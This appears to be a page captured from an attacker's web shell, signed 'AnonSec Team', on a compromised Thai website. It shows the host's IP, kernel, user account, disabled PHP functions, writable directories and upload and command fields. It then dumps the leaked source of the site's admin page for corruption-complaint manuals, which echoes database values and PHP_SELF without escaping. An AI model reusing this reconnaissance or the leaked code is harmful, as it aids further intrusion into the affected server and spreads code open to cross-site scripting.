NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.19.244.133
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/public_html/admin/top/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/public_html/admin/top//ITA6Main.php
<?php  
    require_once('session_backend_administrator.php');
header('Content-Type: text/html; charset=UTF-8');
    if($STT_login=="admin_login_true"){
        $type = "คู่มือการดำเนินการต่อเรื่องร้องเรียนทุจริต";
        $link = "ITA6Main";
        $sql_cdata = "SELECT COUNT(*) FROM `data_top` WHERE `type_top`='คู่มือการดำเนินการต่อเรื่องร้องเรียนทุจริต'  ";
        $qr_cdata = mysqli_query($con_db_administrator, $sql_cdata) or trigger_error("SQL", E_USER_ERROR);
        $rs_cdata = mysqli_fetch_row($qr_cdata);
        $numrows = $rs_cdata[0];
        $rowsperpage = 20;
        $totalpages = ceil($numrows / $rowsperpage);
        if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) {
            $currentpage = (int) $_GET['currentpage'];
        } else {
            $currentpage = 1;
        }
        if ($currentpage > $totalpages) {
            $currentpage = $totalpages;
        }
        if ($currentpage < 1) {
            $currentpage = 1;
        }
        $offset = ($currentpage - 1) * $rowsperpage;
        
        $sql_data = " SELECT * , CONCAT( DAY(str_to_date(`lastupdate_top`,'%d/%m/%Y')) ,'/',  MONTH(str_to_date(`lastupdate_top`,'%d/%m/%Y')) ,'/', YEAR(str_to_date(`lastupdate_top`,'%d/%m/%Y'))+543 ) AS 'cv_lastupdate_top'
                     FROM `data_top` WHERE `type_top`='คู่มือการดำเนินการต่อเรื่องร้องเรียนทุจริต' ORDER BY str_to_date(`lastupdate_top`,'%d/%m/%Y') DESC ,`id_top` DESC LIMIT $offset, $rowsperpage ";
        $qr_data = mysqli_query($con_db_administrator,$sql_data) or die( mysqli_error($con_db_administrator));

    }else{
        echo "<SCRIPT type='text/javascript'>
                alert('กรุณาเข้าสู่ระบบ');
                window.location.replace('../index');
            </SCRIPT>";
        exit;
    }
?>
<!doctype html>
<html lang="en">
    <head>
        <?php  include_once ("head.html"); ?>
    </head>
    <body class="" >
        <?php  include_once ("menu.php"); ?>
        <div class="container pt-3 pb-4 " >
            <div class="row ">
                <div class="col text-secondary" >
                    <div class="p-1 ps-2 box-link " ><a href="../backend-administrator" class="link-info">หน้าหลัก</a> / <?php echo $type;?></div>
                </div>
                <div class="w-100 pb-4"></div>
                <div class="col m-auto" >
                    <div class="bg-line-1 hideTab"></div>
                </div>
                <div class="col-auto text-center">
                    <span class="lh-sm h1 fw-700"><?php echo $type;?></span>
                </div>
                <div class="col m-auto" >
                    <div class="bg-line-1 hideTab"></div>
                </div>
            </div>

            <div class="row mt-3 mb-4">
                <div class="col clearfix pb-2" >
                    <div class="float-start fs-18 fw-700">รายการข้อมูล</div>
                    <div class="float-end"><a class="btn btn-sm btn-dark rounded-5 ps-3 pe-3" href="top-adddata?type=<?php echo $type;?>&link=<?php echo $link;?>" role="button"><i class="fas fa-plus-square text-warning me-1" ></i> เพิ่มข้อมูลใหม่</a></div>
                </div>
                <div class="w-100"></div>
                <div class="col">
                    <div class="w-100 overflow-x-auto">
                        <table class="table table-bordered table-striped table-hover mb-2 tball-mw">
                            <thead >
                                <tr class="text-center">
                                    <th style="width:8%">วันที่ลง</th>
                                    <th style="width:49%">หัวข้อ</th>
                                    <th style="width:23%">ประเภท</th>
                                    <th style="width:10%">สถานะ</th>
                                    <th style="width:10%">จัดการ</th>
                                </tr>
                            </thead>
                            <tbody class="table-group-divider fs-16">
                                <?php
                                    while($rs_data = mysqli_fetch_array($qr_data)){
                                ?>
                                    <tr>
                                        <td class="text-center fs-14" ><?php echo $rs_data["cv_lastupdate_top"];?></td>
                                        <th><?php echo $rs_data["name_top"];?></th>
                                        <td class="text-center"><?php echo $rs_data["type_top"];?></td>
                                        <td class="text-center">
                                            <?php 
                                                $stt_data = $rs_data["stt_top"];
                                                switch ( $stt_data) {
                                                case "0":   echo '<span class="badge rounded-pill text-bg-success" data-bs-toggle="tooltip" data-bs-title="ข้อมูลแสดงบนหน้าเว็บหลัก">แสดงข้อมูล</span>';
                                                            break;
                                                case "1":   echo '<span class="badge rounded-pill text-bg-danger" data-bs-toggle="tooltip" data-bs-title="ข้อมูลจะไม่แสดงบนหน้าเว็บหลัก">ไม่แสดงข้อมูล</span>';
                                                            break;
                                                }
                                            ?>
                                        </td>
                                        <td class="text-center fs-18" >
                                            <a href="top-edit?id=<?php echo $rs_data["id_top"]; ?>&type=<?php echo $rs_data["type_top"]; ?>&link=<?php echo $link;?>" class="link-dark" data-bs-toggle="tooltip" data-bs-title="ปรับปรุงข้อมูล"><i class="fas fa-edit" ></i></a> 
                                            <a href="action/del-top?id=<?php echo $rs_data["id_top"]; ?>&name=<?php echo $rs_data["name_top"]; ?>&link=<?php echo $link;?>" class="link-dark" data-bs-toggle="tooltip" data-bs-title="ลบข้อมูล" onclick="return confirm('ต้องการลบข้อมูล ใช่หรือไม่?');" ><i class="fas fa-trash-alt" ></i></a> 
                                        </td>
                                    </tr>
                                <?php } ?>
                                <?php 
                                    if($numrows=="0"){ echo '<tr><td colspan="7"><div class="w-100 text-center mt-5 mb-5 text-secondary opacity-50 fs-20" ><i class="fas fa-eye-slash"></i> ไม่พบข้อมูล</div></td></tr>';}
                                ?>

                            </tbody>                            
                        </table>
                    </div>
                    <!------------- NUMBER PAGE ------------->
                    <div class="mt-2 fs-12 w-100 text-secondary clearfix">
                        <div class="float-start lh-sm">
                            แสดงข้อมูลตั้งแต่ 1 ถึง 20 <br class="showTab">จากข้อมูลทั้งหมด <span class="text-primary"><?php echo $numrows; ?></span> ข้อมูล
                        </div>
                        <div class="float-end">
                            <div aria-label="Page navigation example">
                                <ul class="pagination pagination-sm justify-content-end">
                                    <?php

                                    $range = 5;
                                    if ($currentpage > 1) {
                                        echo " <li class='page-item'>
                                                <a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=1' aria-label='Previous'>
                                                    <i class='fas fa-angle-double-left'></i>
                                                </a>
                                                </li>";
                                        $prevpage = $currentpage - 1;
                                        echo "<li class='page-item'>
                                                <a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$prevpage' aria-label='Previous'>
                                                <i class='fas fa-angle-left'></i>
                                                </a>
                                            </li>";
                                    } 

                                    for ($x = ($currentpage - $range); $x < (($currentpage + $range) + 1); $x++) {
                                        if (($x > 0) && ($x <= $totalpages)) {
                                            if ($x == $currentpage) {

                                            echo "<li class='page-item active' aria-current='page'>
                                                        <a class='page-link text-bg-secondary' href='#'>$x <span class='sr-only'>(current)</span></a>
                                                    </li> ";

                                            } else {
                                            echo " <li class='page-item'><a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$x'>$x</a></li>";
                                            }
                                        }
                                    }

                                    if ($currentpage != $totalpages) {
                                        $nextpage = $currentpage + 1;
                                        echo "<li class='page-item'>
                                                <a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$nextpage' aria-label='Next'>
                                                <i class='fas fa-angle-right'></i>
                                                </a>
                                            </li>";
                                        echo "<li class='page-item'>
                                                <a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$totalpages' aria-label='Next'>
                                                <i class='fas fa-angle-double-right'></i>
                                                </a>
                                            </li>";
                                    } 
                                    ?>

                                    </ul>
                            </div>       
                        </div>
                    </div>
                    <!--------------------------------------->

                </div>
            </div>

            <?php  include_once ("../footer.php"); ?>
            <script>
                const tooltipTriggerList = document.querySelectorAll('[data-bs-toggle="tooltip"]')
                const tooltipList = [...tooltipTriggerList].map(tooltipTriggerEl => new bootstrap.Tooltip(tooltipTriggerEl))
            </script>
        </div>
    </body>

</html>

Anon7 - 2022
AnonSec Team